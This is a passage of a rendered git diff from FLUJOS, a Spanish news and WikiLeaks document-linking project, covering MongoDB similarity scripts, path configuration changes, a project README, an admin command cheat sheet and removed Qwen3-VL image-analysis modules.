sco = np.asarray(todos_score) if todos_score else np.zeros(0)
log.info("=== DRY-RUN (top-%d/noticia, %d valores) ===", args.topk, len(cos))
log.info(" -- coseno crudo --")
for lo in [0.50, 0.55, 0.60, 0.65, 0.68, 0.70]:
log.info(" cos ≥ %.2f : %d", lo, int((cos >= lo).sum()) if len(cos) else 0)
log.info(" -- score penalizado (gate real) --")
for lo in [0.50, 0.52, 0.55, 0.60, 0.65]:
log.info(" score ≥ %.2f : %d", lo, int((sco >= lo).sum()) if len(sco) else 0)
if len(cos):
log.info(" cos p50=%.3f p90=%.3f | score p50=%.3f p90=%.3f",
float(np.percentile(cos, 50)), float(np.percentile(cos, 90)),
float(np.percentile(sco, 50)), float(np.percentile(sco, 90)))
top_hubs = sorted(grado.items(), key=lambda kv: -kv[1])[:10]
log.info(" leaks-hub por grado (sobre %d noticias):", n_news)
for j, g in top_hubs:
log.info(" grado=%-5d %s", g, leak_names[j][:70])
log.info("No se escribió nada (--dry-run). Elige --umbral/--max-grado-frac y relanza sin --dry-run.")
return
# ---- escritura NO destructiva ----
from pymongo import UpdateOne
out = db[args.salida]
ops = []
for a, bk, score, cos, g in edges:
n1, n2 = sorted((a, bk)) # orden canónico min/max
ops.append(UpdateOne(
{"noticia1": n1, "noticia2": n2},
{"$set": {"noticia1": n1, "noticia2": n2,
"porcentaje_similitud": round(score * 100, 2), # ranking de-hubbeado para el front
"cosine": round(cos, 4), "score": round(score, 4),
"grado_leak": g, "posible_evento": bool(cos >= args.marca_evento),
"metodo": "embedding", "modelo": MODEL_NAME}},
upsert=True))
for i in range(0, len(ops), 2000):
out.bulk_write(ops[i:i + 2000], ordered=False)
out.create_index([("noticia1", 1), ("noticia2", 1)], unique=True, name="par_unico")
out.create_index([("porcentaje_similitud", -1)], name="sim_desc")
n_ev = sum(1 for e in edges if e[3] >= args.marca_evento)
log.info("✅ Escritas %d aristas en '%s' (%d marcadas posible_evento ≥%.2f). 'comparaciones' intacta.",
len(ops), args.salida, n_ev, args.marca_evento)
log.info("Activar en front: COMPARACIONES_COL=%s + repuntar la línea de FLUJOS_APP.js.", args.salida)
if __name__ == "__main__":
main()

View file

@ -12,12 +12,6 @@ import string
import nltk import nltk
from nltk.corpus import stopwords from nltk.corpus import stopwords
# Raiz de FLUJOS_DATOS. Por defecto se deduce de la ubicacion de este fichero,
# asi el repo funciona en cualquier maquina sin editar nada.
DATOS_DIR = os.getenv('FLUJOS_DATOS_DIR',
os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
# Descargar stopwords la primera vez # Descargar stopwords la primera vez
nltk.download('stopwords') nltk.download('stopwords')
stop_words = set(stopwords.words('spanish')) stop_words = set(stopwords.words('spanish'))
@ -126,11 +120,7 @@ def manejar_comparacion_multiproceso(pair):
'porcentaje_similitud': porcentaje 'porcentaje_similitud': porcentaje
} }
comparaciones_collection.update_one( comparaciones_collection.insert_one(comparacion)
{"noticia1": nombre_archivo1, "noticia2": nombre_archivo2},
{"$set": comparacion},
upsert=True,
)
logging.info(f"Guardada comparación entre {nombre_archivo1} y {nombre_archivo2} con {porcentaje:.2f}% de similitud.") logging.info(f"Guardada comparación entre {nombre_archivo1} y {nombre_archivo2} con {porcentaje:.2f}% de similitud.")
except Exception as e: except Exception as e:
logging.error(f"Error al manejar comparación {archivo1} vs {archivo2}: {e}", exc_info=True) logging.error(f"Error al manejar comparación {archivo1} vs {archivo2}: {e}", exc_info=True)
@ -220,34 +210,25 @@ def manejar_comparaciones_multiproceso(directorios_tokenized):
logging.error(f"Error en manejar_comparaciones_multiproceso: {e}", exc_info=True) logging.error(f"Error en manejar_comparaciones_multiproceso: {e}", exc_info=True)
def main(): def main():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--desde", default=None,
help="Solo comparar archivos con fecha >= YYYY-MM-DD")
args, _ = parser.parse_known_args()
try: try:
# Rutas absolutas de los archivos en formato txt # Rutas absolutas de los archivos en formato txt
carpeta_noticias_txt = os.path.join(DATOS_DIR, 'NOTICIAS', 'articulos') carpeta_noticias_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos'
carpeta_wikipedia_txt = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_wikipedia') carpeta_wikipedia_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia'
carpeta_torrents_txt = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'txt') carpeta_torrents_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt'
# Carpetas con los archivos tokenizados para hacer las comparaciones # Carpetas con los archivos tokenizados para hacer las comparaciones
carpeta_noticias_tokenized = os.path.join(DATOS_DIR, 'NOTICIAS', 'tokenized') carpeta_noticias_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/tokenized'
carpeta_wikipedia_tokenized = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_tokenizados') carpeta_wikipedia_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados'
carpeta_torrents_tokenized = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized') carpeta_torrents_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized'
# Iniciar cliente MongoDB # Iniciar cliente MongoDB
client = init_mongo_client() client = init_mongo_client()
# [DESACTIVADO 2026-06-06] Dual-write legacy de noticias a Mongo. # Omitir la subida de documentos
# Escribía docs incompatibles (sin source_type/embedding) en la colección print("Subiendo archivos originales de Noticias a MongoDB...")
# canónica 'noticias', desincronizándola de coconews. Backup de los 41.467 logging.info("Iniciando subida de noticias a MongoDB")
# docs legacy ya existentes en colección 'noticias_legacy_backup'. procesar_documentos(carpeta_noticias_txt, client['FLUJOS_DATOS']['noticias'])
# El sistema canónico de noticias es ahora coconews (source_type:'rss'). logging.info("Finalizada subida de noticias a MongoDB")
# logging.info("Iniciando subida de noticias a MongoDB")
# procesar_documentos(carpeta_noticias_txt, client['FLUJOS_DATOS']['noticias'])
# logging.info("Finalizada subida de noticias a MongoDB")
# print("Subiendo archivos originales de Wikipedia a MongoDB...") # print("Subiendo archivos originales de Wikipedia a MongoDB...")
logging.info("Iniciando subida de Wikipedia a MongoDB") logging.info("Iniciando subida de Wikipedia a MongoDB")

View file

@ -11,12 +11,6 @@ import string
import nltk import nltk
from nltk.corpus import stopwords from nltk.corpus import stopwords
# Raiz de FLUJOS_DATOS. Por defecto se deduce de la ubicacion de este fichero,
# asi el repo funciona en cualquier maquina sin editar nada.
DATOS_DIR = os.getenv('FLUJOS_DATOS_DIR',
os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
# Descargar stopwords la primera vez # Descargar stopwords la primera vez
nltk.download('stopwords') nltk.download('stopwords')
stop_words = set(stopwords.words('spanish')) stop_words = set(stopwords.words('spanish'))
@ -232,14 +226,14 @@ def manejar_comparaciones_multiproceso(directorios_tokenized):
def main(): def main():
try: try:
# Rutas absolutas de los archivos en formato txt # Rutas absolutas de los archivos en formato txt
carpeta_noticias_txt = os.path.join(DATOS_DIR, 'NOTICIAS', 'articulos') carpeta_noticias_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos'
carpeta_wikipedia_txt = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_wikipedia') carpeta_wikipedia_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia'
carpeta_torrents_txt = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'txt') carpeta_torrents_txt = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt'
# Carpetas con los archivos tokenizados para hacer las comparaciones # Carpetas con los archivos tokenizados para hacer las comparaciones
carpeta_noticias_tokenized = os.path.join(DATOS_DIR, 'NOTICIAS', 'tokenized') carpeta_noticias_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/tokenized'
carpeta_wikipedia_tokenized = os.path.join(DATOS_DIR, 'WIKIPEDIA', 'articulos_tokenizados') carpeta_wikipedia_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados'
carpeta_torrents_tokenized = os.path.join(DATOS_DIR, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized') carpeta_torrents_tokenized = '/var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized'
# Iniciar cliente MongoDB # Iniciar cliente MongoDB
client = init_mongo_client() client = init_mongo_client()

112
FLUJOS_DATOS/DOCS/LEEME.txt Executable file
View file

@ -0,0 +1,112 @@
=============================================================================
DOCUMENTACIÓN DEL PROYECTO FLUJOS
=============================================================================
INTRODUCCIÓN:
-------------
El proyecto FLUJOS es una aplicación web diseñada para unir noticias y eventos del pasado para entender la historia como una sucesion de eventos .
Combatir la desinformacion es el principal objetivo del proeycto .
ESTRUCTURA DEL PROYECTO:
-------------------------
El proyecto FLUJOS está organizado de la siguiente manera:
- /flujos: Carpeta principal del proyecto.
- /BACK: Contiene los archivos y scripts relacionados con la parte del servidor y la base de datos.
- /FRONT: Contiene los archivos de la aplicación web del lado del cliente.
- /TENSOR_FLOW: Carpeta que alberga los componentes relacionados con TensorFlow y la inteligencia artificial.
- /DOCUMENTACIÓN: Documentación técnica y de usuario.
INSTALACIÓN:
------------
Para configurar y ejecutar el proyecto FLUJOS, sigue estos pasos:
1. Clona el repositorio desde GitLab:
git clone https://gitlab.com/tu-usuario/flujos.git
2. Crea y activa un entorno virtual:
python3 -m venv env
source env/bin/activate
3. Instala las dependencias:
pip install -r requirements.txt
4. Configura la base de datos y realiza las migraciones:
python manage.py migrate
5. Crea un superusuario para administrar la aplicación:
python manage.py createsuperuser
EJECUCIÓN:
----------
Para ejecutar el proyecto FLUJOS en un entorno de desarrollo local, utiliza el siguiente comando:
python manage.py runserver
El proyecto estará disponible en http://localhost:8000/.
ESTRUCTURA DEL PROYECTO (DETALLES):
-------------------------------------
- /BACK: Esta carpeta contiene la lógica del servidor Django y se encarga de la autenticación de usuarios y la gestión de la base de datos.
- /FRONT: Aquí se encuentran los archivos estáticos y la interfaz de usuario de la aplicación web.
- /TENSOR_FLOW: Carpeta dedicada a las implementaciones de TensorFlow y el procesamiento de datos relacionado con la inteligencia artificial.
AUTENTICACIÓN DE USUARIOS:
--------------------------
El sistema de autenticación de usuarios permite a los usuarios registrarse, iniciar sesión y gestionar sus cuentas de usuario. Los datos se almacenan en una base de datos Elasticsearch.
ENVÍO DE CORREOS ELECTRÓNICOS:
-------------------------------
El proyecto FLUJOS incluye un sistema de envío de correos electrónicos para funciones como verificación de correo electrónico y recuperación de contraseñas.
SEGURIDAD Y PRIVACIDAD:
-----------------------
El proyecto FLUJOS se preocupa por la seguridad y privacidad de los usuarios y emplea medidas de seguridad estándar.
IMPLEMENTACIÓN DE PGP:
----------------------
El proyecto utiliza PGP para garantizar la seguridad de las comunicaciones entre periodistas y la aplicación web.
PRUEBAS:
--------
Para ejecutar las pruebas unitarias y de integración, utiliza el siguiente comando:
python manage.py test
DESPLEGUE:
----------
El despliegue del proyecto FLUJOS en un entorno de producción requiere [Instrucciones y mejores prácticas para desplegar el proyecto en un entorno de producción real].
CONTRIBUCIONES:
---------------
¡Agradecemos las contribuciones! Si deseas contribuir al proyecto, sigue las pautas en [Enlace a las pautas de contribución en GitLab].
CONTACTO:
---------
Para obtener ayuda o más información, comunícate con [Información de contacto].
LICENCIA:
---------
Este proyecto se distribuye bajo la licencia [Nombre de la licencia]. Consulta el archivo LICENSE para más detalles.
=============================================================================

View file

@ -92,7 +92,7 @@
--- Ver variable de entorno y configuración MongoDB --- --- Ver variable de entorno y configuración MongoDB ---
cat $FLUJOS/.env cat /var/www/theflows.net/flujos/.env
--- Listar colecciones en MongoDB --- --- Listar colecciones en MongoDB ---
@ -129,33 +129,33 @@
--- Contar archivos en disco por sección --- --- Contar archivos en disco por sección ---
# NOTICIAS artículos # NOTICIAS artículos
find $FLUJOS/FLUJOS_DATOS/NOTICIAS/articulos/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/articulos/ -type f | wc -l
# NOTICIAS archivos raw # NOTICIAS archivos raw
find $FLUJOS/FLUJOS_DATOS/NOTICIAS/archivos/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/archivos/ -type f | wc -l
# WIKIPEDIA artículos # WIKIPEDIA artículos
find $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/ -type f | wc -l
# WIKIPEDIA tokenizados # WIKIPEDIA tokenizados
find $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/ -type f | wc -l
# TORRENTS total # TORRENTS total
find $FLUJOS/FLUJOS_DATOS/TORRENTS/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/ -type f | wc -l
# WikiLeaks txt # WikiLeaks txt
find $FLUJOS/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/ -type f | wc -l
# WikiLeaks tokenizados # WikiLeaks tokenizados
find $FLUJOS/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/ -type f | wc -l find /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/ -type f | wc -l
--- Tamaño en disco por sección --- --- Tamaño en disco por sección ---
du -sh $FLUJOS/FLUJOS_DATOS/NOTICIAS/ du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
du -sh $FLUJOS/FLUJOS_DATOS/WIKIPEDIA/ du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/WIKIPEDIA/
du -sh $FLUJOS/FLUJOS_DATOS/TORRENTS/ du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/TORRENTS/
du -sh $FLUJOS/FLUJOS_DATOS/MONGO/ du -sh /var/www/theflows.net/flujos/FLUJOS_DATOS/MONGO/
--- Estimación de artículos únicos comparados (cálculo matemático) --- --- Estimación de artículos únicos comparados (cálculo matemático) ---

View file

@ -62,9 +62,7 @@ def comparar_carpetas(carpeta1, carpeta2, carpeta_comparaciones, nombre_comparac
f_out.write(f"{nombre_archivo1} vs {nombre_archivo2}: {porcentaje:.2f}% de similitud\n") f_out.write(f"{nombre_archivo1} vs {nombre_archivo2}: {porcentaje:.2f}% de similitud\n")
# Rutas a las carpetas # Rutas a las carpetas
ruta_base = os.getenv('FLUJOS_DATOS_DIR', ruta_base = './FLUJOS_DATOS'
os.path.abspath(os.path.join(os.path.dirname(__file__),
'..', '..', '..')))
carpeta_comparaciones = os.path.join(ruta_base, 'COMPARACIONES') carpeta_comparaciones = os.path.join(ruta_base, 'COMPARACIONES')
carpeta_wikipedia = os.path.join(ruta_base, 'WIKIPEDIA', 'articulos_tokenizados') carpeta_wikipedia = os.path.join(ruta_base, 'WIKIPEDIA', 'articulos_tokenizados')
carpeta_torrents = os.path.join(ruta_base, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized') carpeta_torrents = os.path.join(ruta_base, 'TORRENTS', 'TORRENTS_WIKILEAKS_COMPLETO', 'tokenized')

View file

@ -1,109 +0,0 @@
"""
comparar_imagenes_wiki.py
-------------------------
Genera comparaciones entre imagenes_wiki y docs de texto (wikipedia + noticias + torrents)
y las guarda en la colección 'comparaciones'.
Uso:
cd FLUJOS_DATOS/IMAGENES
python comparar_imagenes_wiki.py
python comparar_imagenes_wiki.py --umbral 3.0 # más permisivo
python comparar_imagenes_wiki.py --tema "cambio climático"
"""
import argparse
from pymongo import MongoClient, UpdateOne
from image_comparator import ImageComparator
MONGO_URL = "mongodb://localhost:27017"
DB_NAME = "FLUJOS_DATOS"
TEMAS = [
"cambio climático",
"guerra global",
"inteligencia y seguridad",
"economía y corporaciones",
"demografía y sociedad",
]
TEXT_COLLECTIONS = ["wikipedia", "noticias", "torrents"]
def run(temas: list[str], umbral: float):
client = MongoClient(MONGO_URL, serverSelectionTimeoutMS=5000)
db = client[DB_NAME]
comp = ImageComparator(threshold=umbral)
total_insertadas = 0
for tema in temas:
print(f"\n{'='*60}")
print(f" Tema: {tema}")
print(f"{'='*60}")
# 1. Imágenes de imagenes_wiki para este tema
img_docs = list(db.imagenes_wiki.find(
{"tema": {"$regex": tema, "$options": "i"}},
{"_id": 0}
))
if not img_docs:
print(f" Sin imágenes para '{tema}' — saltando")
continue
print(f" Imágenes encontradas: {len(img_docs)}")
# 2. Docs de texto para este tema
text_docs = []
for col_name in TEXT_COLLECTIONS:
docs = list(db[col_name].find(
{"tema": {"$regex": tema, "$options": "i"}},
{"_id": 0}
).limit(500))
for d in docs:
d.setdefault("source_type", col_name)
text_docs.extend(docs)
print(f" {col_name}: {len(docs)} docs")
if not text_docs:
print(f" Sin docs de texto para '{tema}' — saltando")
continue
# 3. Comparar
comparaciones = comp.compare_batch(img_docs, text_docs)
print(f" Comparaciones generadas (umbral={umbral}%): {len(comparaciones)}")
if not comparaciones:
continue
# Añadir tema a cada comparación para trazabilidad
for c in comparaciones:
c["tema"] = tema
# 4. Guardar en MongoDB (upsert por par noticia1+noticia2)
ops = [
UpdateOne(
{"noticia1": c["noticia1"], "noticia2": c["noticia2"]},
{"$set": c},
upsert=True
)
for c in comparaciones
]
result = db.comparaciones.bulk_write(ops)
n = result.upserted_count + result.modified_count
total_insertadas += result.upserted_count
print(f" Guardadas: {result.upserted_count} nuevas, {result.modified_count} actualizadas")
client.close()
print(f"\n Total nuevas comparaciones: {total_insertadas}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--umbral", type=float, default=3.0,
help="Similitud mínima %% (default: 3.0)")
parser.add_argument("--tema", default=None,
help="Procesar solo un tema")
args = parser.parse_args()
temas = [args.tema] if args.tema else TEMAS
run(temas, args.umbral)

View file

@ -1,342 +0,0 @@
"""
image_analyzer.py
-----------------
Analiza imágenes con Qwen3-VL-8B-Instruct (HuggingFace transformers).
Extrae tema, subtema, keywords, descripción y entidades.
Mejoras:
- Opción 3: Resume salta imágenes ya analizadas en MongoDB
- Opción 4: Prioriza imágenes cuyos artículos ya están en MongoDB
- Opción 5: Batch inference procesa N imágenes a la vez (ahorra RAM en activaciones)
Uso:
analyzer = ImageAnalyzer()
result = analyzer.analyze("foto.jpg")
results = analyzer.analyze_folder("./mis_imagenes/", batch_size=4)
results = analyzer.analyze_folder("./mis_imagenes/", resume=True)
"""
import json
import os
import re
from datetime import datetime
from pathlib import Path
import torch
from PIL import Image
from transformers import Qwen3VLForConditionalGeneration, AutoProcessor, BitsAndBytesConfig
# ── Configuración ──────────────────────────────────────────────────────────────
MODEL_ID = os.getenv("VISION_MODEL", "Qwen/Qwen3-VL-8B-Instruct")
CACHE_DIR = os.getenv("HF_HOME",
os.path.join(os.path.dirname(os.path.abspath(__file__)), "model_cache"))
SUPPORTED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp", ".bmp"}
# int4 via bitsandbytes: modelo ocupa ~4-5GB VRAM en lugar de ~16GB bfloat16
# RTX 3060 12GB → sobra VRAM para activaciones
DEFAULT_BATCH_SIZE = 1 # batch 1 para seguridad con 12GB
KEYWORD_PROMPT = """Analiza esta imagen en detalle.
Devuelve ÚNICAMENTE un objeto JSON válido con esta estructura exacta, sin texto adicional:
{
"tema": "tema principal de la imagen (1-3 palabras en español)",
"subtema": "subtema específico (1-4 palabras en español)",
"keywords": ["palabra1", "palabra2", "palabra3"],
"descripcion": "descripción breve y objetiva de lo que muestra la imagen (1-2 frases)",
"entidades": ["nombre_propio1", "organizacion1", "lugar1"],
"idioma_detectado": "es/en/fr/..."
}
Requisitos:
- keywords: entre 8 y 15 palabras clave relevantes, en minúsculas
- entidades: solo si son claramente visibles/identificables, puede estar vacío []
- todo el contenido en español salvo entidades propias
- SOLO el JSON, sin markdown ni explicaciones"""
# ── Clase principal ────────────────────────────────────────────────────────────
class ImageAnalyzer:
def __init__(self, model_id: str = MODEL_ID):
self.model_id = model_id
self._model = None
self._processor = None
def _load_model(self):
if self._model is not None:
return
print(f"[ImageAnalyzer] Cargando modelo {self.model_id}...")
print(f"[ImageAnalyzer] Cache: {CACHE_DIR}")
device = "cuda" if torch.cuda.is_available() else "cpu"
print(f"[ImageAnalyzer] Dispositivo: {device}")
if device == "cuda":
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_compute_dtype=torch.bfloat16,
bnb_4bit_use_double_quant=True,
bnb_4bit_quant_type="nf4",
)
self._model = Qwen3VLForConditionalGeneration.from_pretrained(
self.model_id,
quantization_config=bnb_config,
device_map="auto",
cache_dir=CACHE_DIR,
)
else:
self._model = Qwen3VLForConditionalGeneration.from_pretrained(
self.model_id,
torch_dtype=torch.bfloat16,
device_map="cpu",
cache_dir=CACHE_DIR,
)
self._processor = AutoProcessor.from_pretrained(
self.model_id,
cache_dir=CACHE_DIR,
)
print("[ImageAnalyzer] Modelo cargado (int4 cuantizado).")
# ── Opción 3: Resume — obtener archivos ya analizados en MongoDB ───────────
@staticmethod
def get_already_analyzed(mongo_url: str = None, db_name: str = None) -> set[str]:
"""Devuelve el conjunto de nombres de archivo ya en MongoDB colección 'imagenes'."""
try:
from pymongo import MongoClient
url = mongo_url or os.getenv("MONGO_URL", "mongodb://localhost:27017")
dbname = db_name or os.getenv("DB_NAME", "FLUJOS_DATOS")
client = MongoClient(url, serverSelectionTimeoutMS=3000)
client.admin.command("ping")
db = client[dbname]
done = set(doc["archivo"] for doc in db["imagenes"].find({}, {"archivo": 1, "_id": 0}))
client.close()
print(f"[ImageAnalyzer] Resume: {len(done)} imágenes ya analizadas en MongoDB")
return done
except Exception as e:
print(f"[ImageAnalyzer] Resume: MongoDB no disponible ({e}) — se analizarán todas")
return set()
# ── Opción 4: Priorizar imágenes cuyos artículos existen en MongoDB ────────
@staticmethod
def get_known_article_titles(mongo_url: str = None, db_name: str = None) -> set[str]:
"""Devuelve títulos de artículos Wikipedia que ya tenemos en MongoDB."""
try:
from pymongo import MongoClient
url = mongo_url or os.getenv("MONGO_URL", "mongodb://localhost:27017")
dbname = db_name or os.getenv("DB_NAME", "FLUJOS_DATOS")
client = MongoClient(url, serverSelectionTimeoutMS=3000)
db = client[dbname]
titles = set()
for doc in db["wikipedia"].find({}, {"titulo": 1, "subtema": 1, "_id": 0}):
if doc.get("titulo"):
titles.add(doc["titulo"].lower())
if doc.get("subtema"):
titles.add(doc["subtema"].lower())
client.close()
print(f"[ImageAnalyzer] Priorización: {len(titles)} títulos conocidos en MongoDB")
return titles
except Exception:
return set()
@staticmethod
def _priority_score(img_path: Path, known_titles: set[str]) -> int:
"""Imagen con subtema en MongoDB Wikipedia → prioridad alta (0), resto (1)."""
stem = img_path.parent.name.lower().replace("_", " ")
return 0 if any(stem in t or t in stem for t in known_titles) else 1
# ── Helpers ────────────────────────────────────────────────────────────────
def _parse_json_response(self, raw: str) -> dict:
raw = raw.strip()
match = re.search(r'\{[\s\S]*\}', raw)
if match:
return json.loads(match.group())
raise ValueError(f"No se encontró JSON válido:\n{raw[:300]}")
def _build_result(self, img_path: Path, parsed: dict) -> dict:
return {
"archivo": img_path.name,
"image_path": str(img_path.resolve()),
"tema": parsed.get("tema", "sin_clasificar").lower(),
"subtema": parsed.get("subtema", "").lower(),
"texto": parsed.get("descripcion", ""),
"keywords": [k.lower().strip() for k in parsed.get("keywords", [])],
"entidades": parsed.get("entidades", []),
"idioma": parsed.get("idioma_detectado", "es"),
"source_type": "imagen",
"fecha": datetime.now().strftime("%Y-%m-%d"),
"modelo_usado": self.model_id,
}
# ── Análisis de una imagen (individual) ───────────────────────────────────
def analyze(self, image_path: str, extra_context: str = "") -> dict:
if not os.path.exists(image_path):
raise FileNotFoundError(f"Imagen no encontrada: {image_path}")
self._load_model()
prompt = (f"Contexto adicional: {extra_context}\n\n" + KEYWORD_PROMPT) if extra_context else KEYWORD_PROMPT
image = Image.open(image_path).convert("RGB")
messages = [{"role": "user", "content": [
{"type": "image", "image": image},
{"type": "text", "text": prompt},
]}]
inputs = self._processor.apply_chat_template(
messages, tokenize=True, add_generation_prompt=True,
return_dict=True, return_tensors="pt",
)
inputs = {k: v.to(self._model.device) for k, v in inputs.items()}
print(f" → Analizando: {Path(image_path).name}")
with torch.no_grad():
generated_ids = self._model.generate(**inputs, max_new_tokens=512, do_sample=False)
trimmed = [out[len(inp):] for inp, out in zip(inputs["input_ids"], generated_ids)]
raw = self._processor.batch_decode(trimmed, skip_special_tokens=True, clean_up_tokenization_spaces=False)[0]
return self._build_result(Path(image_path), self._parse_json_response(raw))
# ── Opción 5: Batch inference ──────────────────────────────────────────────
def analyze_batch(self, image_paths: list[str], extra_context: str = "") -> list[dict]:
"""
Analiza un lote de imágenes en una sola llamada al modelo.
Más eficiente que N llamadas individuales.
RAM estimada: ~16GB modelo + ~500MB × batch_size activaciones.
"""
self._load_model()
prompt = (f"Contexto adicional: {extra_context}\n\n" + KEYWORD_PROMPT) if extra_context else KEYWORD_PROMPT
batch_messages = []
valid_paths = []
for path in image_paths:
try:
img = Image.open(path).convert("RGB")
batch_messages.append([{"role": "user", "content": [
{"type": "image", "image": img},
{"type": "text", "text": prompt},
]}])
valid_paths.append(Path(path))
except Exception as e:
print(f" ✗ Error abriendo {path}: {e}")
if not batch_messages:
return []
all_inputs = [
self._processor.apply_chat_template(
msgs, tokenize=True, add_generation_prompt=True,
return_dict=True, return_tensors="pt",
)
for msgs in batch_messages
]
# Pad manualmente para batch
input_ids_list = [x["input_ids"][0] for x in all_inputs]
attention_mask_list = [x["attention_mask"][0] for x in all_inputs]
max_len = max(t.shape[0] for t in input_ids_list)
pad_id = self._processor.tokenizer.pad_token_id or 0
padded_ids = torch.stack([
torch.nn.functional.pad(t, (max_len - t.shape[0], 0), value=pad_id)
for t in input_ids_list
])
padded_masks = torch.stack([
torch.nn.functional.pad(t, (max_len - t.shape[0], 0), value=0)
for t in attention_mask_list
])
with torch.no_grad():
generated = self._model.generate(
input_ids=padded_ids.to(self._model.device),
attention_mask=padded_masks.to(self._model.device),
max_new_tokens=512,
do_sample=False,
)
results = []
for i, (out_ids, in_ids) in enumerate(zip(generated, padded_ids)):
raw = self._processor.decode(out_ids[in_ids.shape[0]:], skip_special_tokens=True)
try:
parsed = self._parse_json_response(raw)
results.append(self._build_result(valid_paths[i], parsed))
print(f"{valid_paths[i].name} → tema={parsed.get('tema','?')}")
except Exception as e:
print(f"{valid_paths[i].name}: {e}")
results.append({
"archivo": valid_paths[i].name, "error": str(e),
"source_type": "imagen", "fecha": datetime.now().strftime("%Y-%m-%d"),
})
return results
# ── Análisis de carpeta con todas las mejoras ──────────────────────────────
def analyze_folder(
self,
folder_path: str,
extra_context: str = "",
resume: bool = True,
batch_size: int = DEFAULT_BATCH_SIZE,
prioritize: bool = True,
) -> list[dict]:
"""
Args:
resume: Si True, salta imágenes ya analizadas en MongoDB (opción 3)
prioritize: Si True, procesa primero imágenes cuyos artículos están en MongoDB (opción 4)
batch_size: Imágenes por lote para el modelo (opción 5). Default: 4
"""
folder = Path(folder_path)
if not folder.exists():
raise FileNotFoundError(f"Carpeta no encontrada: {folder_path}")
images = sorted([
p for p in folder.rglob("*")
if p.is_file() and p.suffix.lower() in SUPPORTED_EXTENSIONS
])
print(f"\n[ImageAnalyzer] {len(images)} imágenes encontradas en {folder_path}")
# Opción 3: Resume — filtrar ya analizadas
if resume:
done = self.get_already_analyzed()
before = len(images)
images = [p for p in images if p.name not in done]
print(f"[ImageAnalyzer] Resume: {before - len(images)} saltadas, {len(images)} pendientes")
if not images:
print("[ImageAnalyzer] Nada que analizar.")
return []
# Opción 4: Priorizar por artículos conocidos en MongoDB
if prioritize:
known = self.get_known_article_titles()
images = sorted(images, key=lambda p: self._priority_score(p, known))
print(f"[ImageAnalyzer] Priorización activada")
# Opción 5: Batch inference
results = []
total = len(images)
for start in range(0, total, batch_size):
batch = images[start:start + batch_size]
end = min(start + batch_size, total)
print(f"\n [Batch {start//batch_size + 1}] imágenes {start+1}-{end}/{total}")
batch_results = self.analyze_batch([str(p) for p in batch], extra_context)
results.extend(batch_results)
ok = len([r for r in results if "error" not in r])
print(f"\n[ImageAnalyzer] Completado: {ok}/{total} OK\n")
return results
@staticmethod
def save_json(results: list[dict], output_path: str):
with open(output_path, "w", encoding="utf-8") as f:
json.dump(results, f, ensure_ascii=False, indent=2)
print(f"[ImageAnalyzer] Guardado: {output_path} ({len(results)} registros)")

View file

@ -1,162 +0,0 @@
"""
image_comparator.py
-------------------
Compara keywords de imágenes con documentos de texto (noticias, wikipedia, torrents)
usando similitud TF-IDF coseno.
Produce documentos para la colección 'comparaciones' de MongoDB,
con la misma estructura que los comparaciones texto-texto ya existentes:
{ noticia1, noticia2, porcentaje_similitud }
Ampliado con campos opcionales: source1_type, source2_type (para saber qué se comparó).
Uso:
comp = ImageComparator()
